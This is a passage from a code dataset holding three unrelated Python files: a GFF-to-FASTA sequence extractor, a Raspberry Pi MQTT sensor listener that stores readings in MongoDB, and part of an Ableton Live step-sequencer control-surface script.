\n","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":7591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"325376222","text":"#!/usr/bin/env python\n'''\n Extract fasta file from gff and genome fasta file\n No intron or whatsoever is taken care.\n'''\n\n\nimport argparse\nimport sys, os, re\nfrom collections import defaultdict\nfrom Bio import SeqIO\nfrom Bio.Seq import Seq\n#from artemis_string import *\n\ndef main():\n parser = argparse.ArgumentParser(description='Extract gene fasta file from gff and genome file')\n parser.add_argument('gff_file')\n parser.add_argument('scf_file')\n parser.add_argument('--feature', dest='feature', default = \"gene\", type = str)\n parser.add_argument('--code', dest='code', default = 1, type = int)\n args = parser.parse_args()\n\n gff_file = args.gff_file\n scf_file = args.scf_file\n feature = args.feature\n code = args.code\n\n basename, extension = os.path.splitext(gff_file)\n nt_outfile = \"%s.%s.fa\" %(basename, feature)\n aa_outfile = \"%s.%s.faa\" %(basename, feature)\n\n\n genomes = defaultdict(Seq)\n with open(scf_file, 'r') as gh:\n for record in SeqIO.parse(gh, 'fasta'):\n genomes[record.id] = record.seq\n\n def get_na_seq(genomes_d, scfid, start, end, strand):\n seq = \"\"\n if scfid in genomes_d:\n seq = genomes_d[scfid][start-1 : end]\n seq = seq.reverse_complement() if strand == \"-\" else seq\n return seq\n \n def get_aa_seq(genomes_d, scfid, start, end, strand, code = 1):\n na_seq = get_na_seq(genomes_d, scfid, start, end, strand)\n return na_seq.translate(code)\n\n \n with open(nt_outfile, 'w') as nt_outh, open(aa_outfile, 'w') as aa_outh, open(gff_file, 'r') as gff_h:\n for line in gff_h:\n line = line.strip()\n if len(line) == 0 or re.match(\"#\", line):\n continue\n if re.match(\">\", line):\n break\n arr = line.split()\n scfid = arr[0]\n type = arr[2]\n start = int(arr[3])\n end = int(arr[4])\n strand = arr[6]\n \n if type == \"gene\":\n geneid = re.search(\"ID=(.*?);\", line).group(1)\n if not re.search(\"description=(.*?);\", line):\n description = re.search(\"description=(.*?)$\", line).group(1)\n else:\n description = re.search(\"description=(.*?);\", line).group(1)\n #description = filter_string(description)\n if type == feature:\n geneid = re.search(\"ID=(.*?);\", line).group(1)\n description=''\n na_seq = get_na_seq(genomes, scfid, start, end, strand)\n aa_seq = get_aa_seq(genomes, scfid, start, end, strand, code=code)\n \n nt_outh.write(\">%s %s\\n\" %(geneid, description))\n nt_outh.write(str(na_seq)+'\\n')\n aa_outh.write(\">%s %s\\n\" %(geneid, description))\n aa_outh.write(str(aa_seq) + '\\n')\n \nif __name__ == \"__main__\":\n main()\n\n","sub_path":"gff_to_fasta.py","file_name":"gff_to_fasta.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"194201955","text":"# -*- coding: utf-8 -*-\nimport threading\nfrom queue import Queue\n\nimport paho.mqtt.client as mqttcli\nfrom pymongo import MongoClient\n\nfrom .config_pi import *\nfrom .use_mongodb import search_data\n\ntemp_sign = False\nq = Queue()\nq.put(temp_sign)\n\nmongo_client = MongoClient(host=host, port=port) # use mongodb\ndb = mongo_client[db_name]\ncollection = db[collection_name]\n\n\n# The callback for when the client receives a CONNACK response from the server.\ndef on_connect(client, userdata, flag, rc):\n print(\"Connected with result code\" + str(rc))\n client.subscribe('air condition/init') # 订阅初始化topic\n for topic in topic_list:\n client.subscribe(topic)\n\n\n# topic_dict = {\n# 'TemAndHum': {\n# 'humidity': None,\n# 'temperature': None,\n# 'outdoor/humidity': None,\n# 'outdoor/temperature': None,\n# 'weather': None\n# },\n# 'air_quality': {\n# 'CO2': None,\n# 'PM25': None,\n# 'TVOC': None,\n# 'CH2O': None\n# },\n# # 'actuator': {\n# # 'air cleaner': None,\n# # 'air condition/display': None,\n# # 'air condition/dry/heat': None,\n# # 'air condition/health': None,\n# # 'air condition/light': None,\n# # 'air condition/mode': None,\n# # 'air condition/sleep': None,\n# # 'air condition/sleep time': None,\n# # 'air condition/super': None,\n# # 'air condition/sweep': None,\n# # 'air condition/temperature': None,\n# # 'air condition/wind': None,\n# # 'air condition/switch': None\n# # }\n# 'chart': {\n# 'humidity_chart': None,\n# 'temperature_chart': None,\n# 'outdoor/humidity_chart': None,\n# 'outdoor/temperature_chart': None,\n# 'CO2_chart': None,\n# 'PM25_chart': None,\n# 'TVOC_chart': None,\n# 'CH2O_chart': None\n# },\n# }\n\ntopic_dict = {\n 'TemAndHum': {\n 'humidity': None,\n 'temperature': None,\n 'outdoor/humidity': None,\n 'outdoor/temperature': None,\n 'weather': None, # rain\n 'humidity_chart': None,\n 'temperature_chart': None,\n 'outdoor/humidity_chart': None,\n 'outdoor/temperature_chart': None,\n },\n 'air_quality': {\n 'CO2': None,\n 'PM25': None,\n 'TVOC': None,\n 'CH2O': None,\n 'CO2_chart': None,\n 'PM25_chart': None,\n 'TVOC_chart': None,\n 'CH2O_chart': None\n },\n}\n\nreverse_topic_dict = {} # reverse map the topic.\n\nfor temp_key, temp_value in topic_dict.items():\n for temp_sub_key in temp_value:\n reverse_topic_dict[temp_sub_key] = temp_key\n\n\ntopic_dict_for_android = {\n 'TemAndHum': {\n 'humidity': None,\n 'temperature': None,\n 'outdoor/humidity': None,\n 'outdoor/temperature': None,\n 'weather': None, # rain\n 'humidity_chart': None,\n 'temperature_chart': None,\n 'outdoor/humidity_chart': None,\n 'outdoor/temperature_chart': None,\n },\n 'air_quality': {\n 'CO2': None,\n 'PM25': None,\n 'TVOC': None,\n 'CH2O': None,\n 'CO2_chart': None,\n 'PM25_chart': None,\n 'TVOC_chart': None,\n 'CH2O_chart': None\n },\n}\n\n\ndef stupid_code_one(msg, average=None):\n for temp_item, temp_value in topic_dict.items(): # 这个地方很蠢\n if msg.topic in temp_value.keys():\n if average:\n temp_num = round(average, 2) # we should except error.\n topic_dict[temp_item][msg.topic] = temp_num\n topic_dict_for_android[temp_item][msg.topic] = temp_num\n else:\n topic_dict[temp_item][msg.topic] = msg.payload.decode('utf-8')\n topic_dict_for_android[temp_item][msg.topic] = msg.payload.decode('utf-8')\n\n\ndef modify_data_in_dict(topic, value):\n topic_dict[reverse_topic_dict[topic]][topic] = value\n topic_dict_for_android[reverse_topic_dict[topic]][topic] = value\n\n\ndef deal_with_double_data(topic, text):\n this_topic = double_data[topic]\n this_topic['deque'].append(float(text))\n if this_topic['sign']:\n average_value = round(sum(this_topic['deque']) / len(this_topic['deque']), 2)\n modify_data_in_dict(topic, average_value)\n this_topic['sign'] = False\n else:\n this_topic['sign'] = True\n\n\ndef zero_chart(topic):\n chart_topic_dict[topic].data_sum = 0\n chart_topic_dict[topic].data_num = 0\n chart_topic_dict[topic].date_sum = 0\n\n\ndef save_data_to_mongodb():\n temp_sign1 = q.get()\n if temp_sign1:\n for temp_single_data in chart_topic_dict:\n temp_item = chart_topic_dict[temp_single_data]\n try:\n temp_avg_value = round(temp_item.data_sum / temp_item.data_num, 2)\n temp_avg_time = temp_item.date_sum / temp_item.data_num\n except ZeroDivisionError:\n temp_avg_value = 0\n temp_avg_time = time.time() - 300\n data_save = {\n 'topic': temp_single_data,\n 'data': temp_avg_value,\n 'timestamp': temp_avg_time\n }\n collection.insert(data_save)\n zero_chart(temp_single_data)\n temp_sign1 = False\n q.put(temp_sign1)\n else:\n q.put(temp_sign1) # 不可或缺,要不然就阻塞了\n\n\ndef structure_chart(topic, text):\n if topic != 'weather':\n chart_topic_dict[topic].data_sum += float(text)\n chart_topic_dict[topic].data_num += 1\n chart_topic_dict[topic].date_sum += time.time()\n\n\ndef on_message_one(client, userdata, msg):\n print('receive: {}{:->20s}'.format(msg.topic, str(msg.payload)))\n text = msg.payload.decode('utf-8')\n if msg.topic in reverse_topic_dict:\n if msg.topic in double_data:\n deal_with_double_data(msg.topic, text)\n else:\n modify_data_in_dict(msg.topic, text)\n structure_chart(msg.topic, text)\n save_data_to_mongodb()\n\n\nclient = mqttcli.Client()\nclient.on_connect = on_connect\nclient.on_message = on_message_one\n\n\nclient.connect('localhost', 1883, 60)\nx = threading.Thread(target=client.loop_forever)\nx.setDaemon(True)\nx.start()\n\n\n# 当我们将运算交给树莓派,一个更愚蠢的问题出现了,发送端将发送所有数据,即使当前只有一个页面接受访问\ndata_ajax_chart_thread = threading.Thread(target=search_data, args=(tuple(chart_topic_dict.keys()), collection,\n topic_dict, topic_dict_for_android))\ndata_ajax_chart_thread.setDaemon(True)\ndata_ajax_chart_thread.start()\n\ndata_save_ever_ten = threading.Thread(target=ten_limit, args=(q,))\ndata_save_ever_ten.setDaemon(True)\ndata_save_ever_ten.start()\n","sub_path":"mqtt_pi/app/api_1_0/mqttpub.py","file_name":"mqttpub.py","file_ext":"py","file_size_in_byte":6770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"390427347","text":"# http://remotescripts.blogspot.com\n\"\"\"\n8*8 Step Sequencer for launchpad\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see .\n\nbased on APC stepsquencer by by Hanz Petrov, itslef based on \nLiveControl Sequencer module by ST8 \nand the CS Step Sequencer Live API example by Cycling '74 \n\"\"\"\n\nimport Live\nfrom _Framework.ControlSurfaceComponent import ControlSurfaceComponent\nfrom _Framework.ButtonElement import ButtonElement\nfrom _Framework.EncoderElement import EncoderElement\nfrom _Framework.SessionComponent import SessionComponent\nfrom _Framework.ButtonMatrixElement import ButtonMatrixElement\nimport time\n\n\n\nclass StepSequencerComponent(ControlSurfaceComponent):\n\t__module__ = __name__\n\t__doc__ = ' Generic Step Sequencer Component '\n\n\tdef __init__(self, parent, seq_buttons,pads, translate_button, select_button, mute_button, solo_button, transport_buttons, forward_button, rewind_button, pattern_leds):\n\t\tControlSurfaceComponent.__init__(self)\n\t\t\t\t\n\t\tself._is_active = False\n\t\tself._parent = parent\n\t\tself._mode = 1\n\t\tself._step_offset = 0\n\t\tself._drum_group_device = None\n\t\tself._all_drum_pads = []\n\n\t\t#fill the cache\n\t\tself._grid_buffer = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]\n\t\tself._grid_back_buffer = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]\n\t\t\n\n\n\t\t#buttons\n\t\tself._seq_buttons = None\n\t\tself._pads = None\n\t\tself._translate_button = None\n\t\tself._select_button = None\n\t\tself._mute_button = None\n\t\tself._solo_button = None\n\t\tself._record_button = None\n\t\tself._play_button = None\n\t\tself._stop_button = None\n\t\tself._forward_button = None\n\t\tself._rewind_button = None\n\t\tself._pattern_leds = None\n\n\t\tself._width = 0\n\t\tself._height = 0\n\t\tself._selected_pad = 0\n\n\t\t#notes\n\t\tself._bank_index = 0 #bank index;\n\t\tself._key_indexes=[0,0,0,0,0,0,0,0]\n\t\tself._scale=[True,False,True,False,True,True,False,True,False,True,False,True]#which notes to display in scale mode.\n\t\tself._key_indexes[0] = 36 #C1 Note\n\t\t\n\t\tself._sequencer_clip = None\n\t\tself._clip_notes = []\n\t\tself._force_update = True\n\t\tself._display_bank = False\n\t\tself._display_bank_time = time.time()\n\n\t\t#quantization\n\t\tself._quantization = 1/4.0\n\n\t\t\n\t\t#loop \n\t\tself._loop_length = None\n\t\tself._loop_start = None\n\t\tself._loop_end = None\n\t\t\n\t\t#fold\n\t\tself._is_fold = False\n\t\tself._is_scale_fold = False\n\n\t\t#buttons shifted\n\t\tself._translate_button_shifted = False\n\t\tself._select_button_shifted = False\n\t\tself._mute_button_shifted = False\n\t\tself._solo_button_shifted = False\n\t\tself._record_button_shifted = False\n\t\tself._play_button_shifted = False\n\t\tself._stop_button_shifted = False\n\t\tself._is_lane_muted = [False for i in range(128)]\n\t\tself._is_solo_lane = [False for i in range(128)]\n\t\tself._solo_lanes_count = 0\n\n\n\n\t\tself.set_seq_buttons(seq_buttons)\n\t\tself.set_pads(pads)\n\t\tself.set_translate_button(translate_button)\n\t\tself.set_select_button(select_button)\n\t\tself.set_mute_button(mute_button)\n\t\tself.set_solo_button(solo_button)\n\t\tself.set_record_button(transport_buttons[0])\n\t\tself.set_play_button(transport_buttons[2])\n\t\tself.set_stop_button(transport_buttons[1])\n\t\tself.set_forward_button(forward_button)\n\t\tself.set_rewind_button(rewind_button)\n\t\tself.set_pattern_leds(pattern_leds)\n\n\t\tself._compute_key_indexes(True)\n\t\tself.update()\n\n\n\t_active_instances = []\n\t\n\t\n\tdef unlink(self):\n\t\tif self in StepSequencerComponent._active_instances:\n\t\t\tStepSequencerComponent._active_instances.remove(self)\n\t\n\tdef link_with_step_offset(self, step_offset):\n\t\tassert (step_offset >= 0)\n\t\tStepSequencerComponent._active_instances.append(self)\n\t\tself._step_offset = step_offset\n\n\n\tdef disconnect(self):\n\t\tself._parent = None\n\t\tself._seq_buttons = None\n\t\tself._pads = None\n\t\tself._translate_button = None\n\t\tself._sequencer_clip = None\n\n\n\tdef update(self):\n\t\tif self._is_active:\n\t\t\ttrack = self.song().view.selected_track\n\t\t\tself.on_clip_slot_changed()\n\t\t\tself._update_translate_button()\n\t\t\tself._update_select_button()\n\t\t\tself._update_mute_button()\n\t\t\tself._update_solo_button()\n\t\t\tself._update_record_button()\n\t\t\tself._update_play_button()\n\t\t\tself._update_stop_button()\n\t\t\tself._update_pattern_leds()\n\t\t\tself._on_loop_changed()\n\t\t\tself._compute_key_indexes()\n\t\t\tself._update_seq_buttons()\n\t\t\tself._update_pads()\n\t\t\tself._update_pattern_leds()\n\t\t\tself._on_playing_status_changed()\n\t\t\tif self._sequencer_clip !=None and self._sequencer_clip.is_midi_clip:\n\t\t\t\tif ((not self.application().view.is_view_visible('Detail')) or (not self.application().view.is_view_visible('Detail/Clip'))):\n\t\t\t\t\tself.application().view.show_view('Detail')\n\t\t\t\t\tself.application().view.show_view('Detail/Clip')\n\n\tdef on_enabled_changed(self):\n\t\tif self.is_enabled():\n\t\t\tself.enable_pads(True)\n\t\t\tself.enable_seq_buttons(True)\n\t\telse:\n\t\t\tself.enable_pads(False)\n\t\t\tself.enable_seq_buttons(False)\n\t\tself.update()\n\n\tdef on_selected_track_changed(self):\n\t\tall_tracks = ((self.song().tracks + self.song().return_tracks))\n\t\tself._selected_track = self.song().view.selected_track\n\t\tself._selected_track_index = list(all_tracks).index(self._selected_track)\n\t\tself.update()\n\n\tdef on_track_list_changed(self):\n\t\tself.update()\n\n\tdef on_selected_scene_changed(self):\n\t\tself.update()\n\n\tdef on_scene_list_changed(self):\n\t\tself.update()\n\n\n\n\tdef on_clip_slot_changed(self):\n\t\t#select drumrack device\n\t\tif self.song().view.selected_track != None:\n\t\t\ttrack = self.song().view.selected_track\n\t\t\tif(track.devices != None and len(track.devices)>0):\n\t\t\t\tdevice = track.devices[0];\n\t\t\t\tif(device.can_have_drum_pads and device.has_drum_pads):\n\t\t\t\t\tself._drum_group_device = device\n\t\t\t\t\t#self._parent._parent.log_message(str(len(self._drum_group_device.drum_pads)))\n\t\t\t\t\t#for index in range(len(self._drum_group_device.drum_pads)):\n\t\t\t\t\t#\tif(self._drum_group_device.drum_pads[index].chains):\n\t\t\t\t\t#\t\tself._parent._parent.log_message(str(index))\n\t\t\t\telse:\n\t\t\t\t\tself._drum_group_device = None\n\t\t\telse:\n\t\t\t\tself._drum_group_device = None\n\t\telse:\n\t\t\tself._drum_group_device = None\n\t\t\t#select clip\n\t\tif self.song().view.highlighted_clip_slot != None:\n\t\t\t\n\t\t\tclip_slot = self.song().view.highlighted_clip_slot\n\t\t\tif clip_slot.has_clip: # and clip_slot.clip.is_midi_clip:\n\t\t\t\tif self._sequencer_clip != clip_slot.clip:\n\t\t\t\t\t#remove listeners\n\t\t\t\t\tif self._sequencer_clip != None:\n\t\t\t\t\t\tif self._sequencer_clip.is_midi_clip:\n\t\t\t\t\t\t\tself._parent._parent.log_message(dir(self._sequencer_clip.is_midi_clip))\n\t\t\t\t\t\t\tif self._sequencer_clip.notes_has_listener(self._on_notes_changed):\n\t\t\t\t\t\t\t\tself._sequencer_clip.remove_notes_listener(self._on_notes_changed)\n\t\t\t\t\t\tif self._sequencer_clip.playing_status_has_listener(self._on_playing_status_changed):\n\t\t\t\t\t\t\tself._sequencer_clip.remove_playing_status_listener(self._on_playing_status_changed) \n\t\t\t\t\t\tif self._sequencer_clip.loop_start_has_listener(self._on_loop_changed):\n\t\t\t\t\t\t\tself._sequencer_clip.remove_loop_start_listener(self._on_loop_changed) \n\t\t\t\t\t\tif self._sequencer_clip.loop_end_has_listener(self._on_loop_changed):\n\t\t\t\t\t\t\tself._sequencer_clip.remove_loop_end_listener(self._on_loop_changed)\t\t\t\t\t\t\t \n\t\t\t\t\t#update reference\n\t\t\t\t\t\n\t\t\t\t\tself._sequencer_clip = clip_slot.clip\n\t\t\t\t\tself._loop_start = clip_slot.clip.loop_start\n\t\t\t\t\tself._loop_end = clip_slot.clip.loop_end\n\t\t\t\t\tself._loop_length = self._loop_end - self._loop_start \n\t\t\t\t\tself._bank_index = 0\n\t\t\t\t\tself._update_notes()\n\t\t\t\t\tself._update_play_button()\n\t\t\t\t\tself._on_loop_changed()\n\t\t\t\t\t\n\t\t\t\t\t#add listeners\n\t\t\t\t\tif self._sequencer_clip.is_midi_clip:\n\t\t\t\t\t\tif self._sequencer_clip.notes_has_listener(self._on_notes_changed):\n\t\t\t\t\t\t\tself._sequencer_clip.remove_notes_listener(self._on_notes_changed)\n\t\t\t\t\t\tself._sequencer_clip.add_notes_listener(self._on_notes_changed)\t\t \n\t\t\t\t\tif self._sequencer_clip.playing_status_has_listener(self._on_playing_status_changed):\n\t\t\t\t\t\tself._sequencer_clip.remove_playing_status_listener(self._on_playing_status_changed) \n\t\t\t\t\tself._sequencer_clip.add_playing_status_listener(self._on_playing_status_changed)\n\t\t\t\t\tif self._sequencer_clip.loop_start_has_listener(self._on_loop_changed):\n\t\t\t\t\t\tself._sequencer_clip.remove_loop_start_listener(self._on_loop_changed)\n\t\t\t\t\tself._sequencer_clip.add_loop_start_listener(self._on_loop_changed)\n\t\t\t\t\tif self._sequencer_clip.loop_end_has_listener(self._on_loop_changed):\n\t\t\t\t\t\tself._sequencer_clip.remove_loop_end_listener(self._on_loop_changed)\t\t\t\t\t\t\t \n\t\t\t\t\tself._sequencer_clip.add_loop_end_listener(self._on_loop_changed)\n\t\t\telse:\n\t\t\t\tself._sequencer_clip=None\n\t\telse:\n\t\t\tself._sequencer_clip=None\n\t\t\t\t\t\n\n\tdef _on_loop_changed(self): #loop start/end listener\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tif self._sequencer_clip != None:\n\t\t\t\tself._loop_length = self._sequencer_clip.loop_end - self._sequencer_clip.loop_start\n\t\t\t\tself._loop_start = self._sequencer_clip.loop_start\n\t\t\t\tself._loop_end = self._sequencer_clip.loop_end\n\t\t\t\tself._show_msg_callback(str(self._loop_length))\n\n\n\n#NOTES CHANGES\n\tdef _on_notes_changed(self): #notes changed listener\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tself._update_notes()\n\t\t\t#self._parent._parent.schedule_message(1, self._update_notes)\n\t\t\t#Live bug: delay is required to avoid blocking mouse drag operations in MIDI clip view\n\n\n\tdef _update_notes(self):\n\t\t\"\"\"LiveAPI clip.get_selected_notes returns a tuple of tuples where each inner tuple represents a note.\n\t\tThe inner tuple contains pitch, time, duration, velocity, and mute state.\n\t\te.g.: (46, 0.25, 0.25, 127, False)\"\"\"\n\t\t#if self.is_enabled() and self._is_active:\n\t\tif self._sequencer_clip!= None and self._sequencer_clip.is_midi_clip:\n\t\t\tself._sequencer_clip.select_all_notes()\n\t\t\tnote_cache = self._sequencer_clip.get_selected_notes()\n\t\t\tself._sequencer_clip.deselect_all_notes()\n\t\t\tif self._clip_notes != note_cache:\n\t\t\t\tself._clip_notes = note_cache\n\t\t\t\tself._compute_key_indexes()\n\t\t\t\tself._update_seq_buttons()\n\t\t\t\tself._update_pads()\n\n#PLAY POSITION\n\n\tdef _on_playing_status_changed(self): #playing status changed listener\n\t\tif self._is_active:#self.is_enabled() and self._is_active:\n\t\t\tif self._sequencer_clip != None:\n\t\t\t\tif self._sequencer_clip.is_playing:\n\t\t\t\t\tif self._sequencer_clip.playing_position_has_listener(self._on_playing_position_changed):\n\t\t\t\t\t\tself._sequencer_clip.remove_playing_position_listener(self._on_playing_position_changed)\n\t\t\t\t\tself._sequencer_clip.add_playing_position_listener(self._on_playing_position_changed)\n\t\t\t\telse:\n\t\t\t\t\tif self._sequencer_clip.playing_position_has_listener(self._on_playing_position_changed):\n\t\t\t\t\t\tself._sequencer_clip.remove_playing_position_listener(self._on_playing_position_changed)\n\t\t\tself._update_play_button()\n\n\tdef _on_playing_position_changed(self): #playing position changed listener\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tif self._sequencer_clip != None:\n\t\t\t\t\"\"\"LiveAPI clip.playing_position: Constant access to the current playing position of the clip.\n\t\t\t\tThe returned value is the position in beats for midi and warped audio clips,\n\t\t\t\tor in seconds for unwarped audio clips. Stopped clips will return 0.\"\"\"\n\t\t\t\tposition = self._sequencer_clip.playing_position #position in beats (1/4 notes in 4/4 time)\n\t\t\t\tbank = int(position / self._quantization / self._width) # 0.25 for 16th notes; 0.5 for 8th notes\n\t\t\t\tself._update_seq_buttons()\n\t\t\t\tself._update_pads()\n\n# MATRIX\n\tdef _update_seq_buttons(self): #step grid LEDs are updated here\n\t\tif self.is_enabled() and self._is_active and self._seq_buttons != None:\n\t\t\tfor x in range(self._width):\n\t\t\t\tself._grid_back_buffer[x] = 0\n\n\t\t\t#update back buffer\n\t\t\tif self._sequencer_clip != None:# and self._sequencer_clip.is_midi_clip:\n\t\t\t\tif self._sequencer_clip.is_midi_clip:\n\t\t\t\t\tplay_position = self._sequencer_clip.playing_position #position in beats (1/4 notes in 4/4 time)\n\t\t\t\t\tplay_x_position = int(play_position / self._quantization) #position in beats (1/4 notes in 4/4 time)\n\t\t\t\t\t \n\t\t\t\t\t#CLIP NOTES\n\t\t\t\t\tfor note in self._clip_notes:\n\t\t\t\t\t\tnote_key = note[0]\n\t\t\t\t\t\tnote_position = note[1] #position in beats; range is 0.x to 15.x for 4 measures in 4/4 time (equivalent to 1/4 notes)\n\t\t\t\t\t\tnote_grid_x_position = int(note_position / self._quantization) #stepped postion at quantize resolution\n\t\t\t\t\t\tnote_muted = note[4]\n\t\t\t\t\t\tif note_key == self._key_indexes[self._selected_pad] and note_position >= self._bank_index * self._width * self._quantization and note_position <= (self._bank_index+1) * self._width * self._quantization:\n\t\t\t\t\t\t\tnote_grid_x_position -= self._bank_index * self._width\n\t\t\t\t\t\t\tif note_muted:\n\t\t\t\t\t\t\t\tself._grid_back_buffer[note_grid_x_position] = 0\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tself._grid_back_buffer[note_grid_x_position] = 127\n\n\t\t\t\t\t# METRONOME : add play positition in amber\t\n\t\t\t\t\tif(True):\n\t\t\t\t\t\tif self._sequencer_clip.is_playing and play_position >= self._bank_index * self._width * self._quantization and play_position <= (self._bank_index+1) * self._width * self._quantization:\n\t\t\t\t\t\t\tplay_x_position -= self._bank_index * self._width\n\t\t\t\t\t\t\tif self._grid_back_buffer[play_x_position] == 127:\n\t\t\t\t\t\t\t\tself._grid_back_buffer[play_x_position] = 0\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tself._grid_back_buffer[play_x_position] = 127\n\t\t\t\t\t\t\t#self._parent._parent.log_message(play_position2)\n\t\t\t\t\t\t\t#self._parent._parent.log_message(play_x_position2)\n\t\t\t\t\tfor x in range(self._width):\n\t\t\t\t\t\tif(self._grid_back_buffer[x]!=self._grid_buffer[x] or self._force_update):\n\t\t\t\t\t\t\tself._grid_buffer[x] = self._grid_back_buffer[x]\n\t\t\t\t\t\t\tself._seq_buttons[x].send_value(self._grid_buffer[x])\n\t\t\t\t\t\t\t#self._parent._parent.log_message(str(x)+\" => \"+str(self._grid_back_buffer[x]))\n\n\tdef _seq_buttons_value(self, value, sender): #matrix buttons listener\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tif value != 0:\n\t\t\t\t#self._parent._parent.log_message(str(x)+\".\"+str(y)+\".\"+str(value)+\" \"+\"scheduled\")\n\t\t\t\t#self._parent._parent.schedule_message(1, self._matrix_value_message,[value,x,y,is_momentary])\n\t\t\t\tself._seq_buttons_value_message(value,sender)\n\t\t\t\t\n\tdef _seq_buttons_value_message(self, value, sender): #value, x, y, is_momentary): #matrix buttons listener\n\t\tx = list(self._seq_buttons).index(sender)\n\t\t#self._parent._parent.log_message(\"got: x:\"+ str(x)+\" y:\"+str(y))\n\t\t#self._parent._parent.log_message(str(x)+\".\"+str(value)+\" \"+ \"processing\"+\".\"+str(self.is_enabled())+str(self._is_active))\n\t\n\t\t\n\t\t\"\"\"(pitch, time, duration, velocity, mute state)\n\t\te.g.: (46, 0.25, 0.25, 127, False)\"\"\"\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tif self._sequencer_clip != None and self._sequencer_clip.is_midi_clip:\n\t\t\t\t#self._parent._parent.log_message(self._sequencer_clip)\n\t\t\t\tif value != 0:\n\t\t\t\t\t#TODO:add quantization and offset\n\t\t\t\t\tpitch = self._key_indexes[self._selected_pad]\n\t\t\t\t\ttime = (x + (self._bank_index * self._width))* self._quantization#convert position to time in beats\n\t\t\t\t\t#self._parent._parent.log_message(time)\n\n\t\t\t\t\tif self._sequencer_clip!= None and self._sequencer_clip.is_midi_clip:\n\t\t\t\t\t\t\tself._sequencer_clip.select_all_notes()\n\t\t\t\t\t\t\tnote_cache = self._sequencer_clip.get_selected_notes()\n\t\t\t\t\t\t\tif self._clip_notes != note_cache:\n\t\t\t\t\t\t\t\tself._clip_notes = note_cache\n\n\t\t\t\t\tnote_cache = list(self._clip_notes)\n\t\t\t\t\tfor note in note_cache:\n\t\t\t\t\t\tif time == note[1] and pitch == note[0]:\n\t\t\t\t\t\t\t#self._parent._parent.log_message(note)\n\t\t\t\t\t\t\tnote_cache.remove(note)\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tnote_cache.append([pitch, time, 0.25, 127, False])\n\t\t\t\t\t#self._parent._parent.log_message(\"One remplace \")\n\t\t\t\t\tself._sequencer_clip.select_all_notes()\n\t\t\t\t\tself._sequencer_clip.replace_selected_notes(tuple(note_cache))\n\n\n\tdef set_seq_buttons(self, buttons):\n\t\tif (buttons != self._seq_buttons):\n\t\t\tif self._seq_buttons != None:\n\t\t\t\tfor index in range(len(self._seq_buttons)):\n\t\t\t\t\tself._seq_buttons[index].remove_value_listener(self._seq_buttons_value)\n\t\t\tself._seq_buttons = buttons\n\t\t\tif self._seq_buttons != None:\n\t\t\t\tfor index in range(len(buttons)):\n\t\t\t\t\tif (self._seq_buttons[index] != None):\n\t\t\t\t\t\tself._seq_buttons[index].add_value_listener(self._seq_buttons_value, True)\n\t\t\t\tself._width = len(buttons)\n\t\t\tself.update()\n\n\tdef set_pads(self, buttons):\n\t\tif (buttons != self._pads):\n\t\t\tif self._pads != None:\n\t\t\t\tfor index in range(len(self._pads)):\n\t\t\t\t\tself._pads[index].remove_value_listener(self._pads_value)\n\t\t\tself._pads = buttons\n\t\t\tif self._pads != None:\n\t\t\t\tfor index in range(len(buttons)):\n\t\t\t\t\tif (self._pads[index] != None):\n\t\t\t\t\t\tself._pads[index].add_value_listener(self._pads_value, True)\n\t\t\t\tself._height = len(buttons)\n\t\t\tself.update()\n\n\tdef enable_seq_buttons(self, as_enabled):\n\t\tif self._seq_buttons != None:\n\t\t\tif as_enabled:\n\t\t\t\tfor button in self._seq_buttons:\n\t\t\t\t\tbutton.add_value_listener(self._seq_buttons_value, True)\n\t\t\telse:\n\t\t\t\tfor button in self._seq_buttons:\n\t\t\t\t\tbutton.remove_value_listener(self._seq_buttons_value)\n\n\tdef enable_pads(self, as_enabled):\n\t\tif self._seq_buttons != None:\n\t\t\tif as_enabled:\n\t\t\t\tfor button in self._pads:\n\t\t\t\t\tbutton.add_value_listener(self._pads_value, True)\n\t\t\telse:\n\t\t\t\tfor button in self._pads:\n\t\t\t\t\tbutton.remove_value_listener(self._pads_value)\n\n\tdef _pads_value(self, value, sender): #matrix buttons listener\n\t\tif self.is_enabled() and self._is_active:\n\t\t\tif self._sequencer_clip != None and self._sequencer_clip.is_midi_clip:\n\t\t\t\tif value != 0:\n\t\t\t\t\tx = list(self._pads).index(sender)\n\t\t\t\t\tif self._select_button_shifted:\n\t\t\t\t\t\t\tself._selected_pad = x\n\t\t\t\t\t\t\tself.update()\n\t\t\t\t\telif self._mute_button_shifted:\n\t\t\t\t\t\tpitch_to_mute = self._key_indexes[x]\n\t\t\t\t\t\tself._is_lane_muted[pitch_to_mute] = not self._is_lane_muted[pitch_to_mute]\n\t\t\t\t\t\tself._sequencer_clip.select_all_notes()\n\t\t\t\t\t\tself._update_mute_value()\n\t\t\t\t\telif self._solo_button_shifted:\n\t\t\t\t\t\tpitch_to_solo = self._key_indexes[x]\n\t\t\t\t\t\tif self._is_solo_lane[pitch_to_solo]:\n\t\t\t\t\t\t\tself._is_solo_lane[pitch_to_solo] = False\n\t\t\t\t\t\t\tself._solo_lanes_count -= 1\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself._is_solo_lane[pitch_to_solo] = True\n\t\t\t\t\t\t\tself._solo_lanes_count += 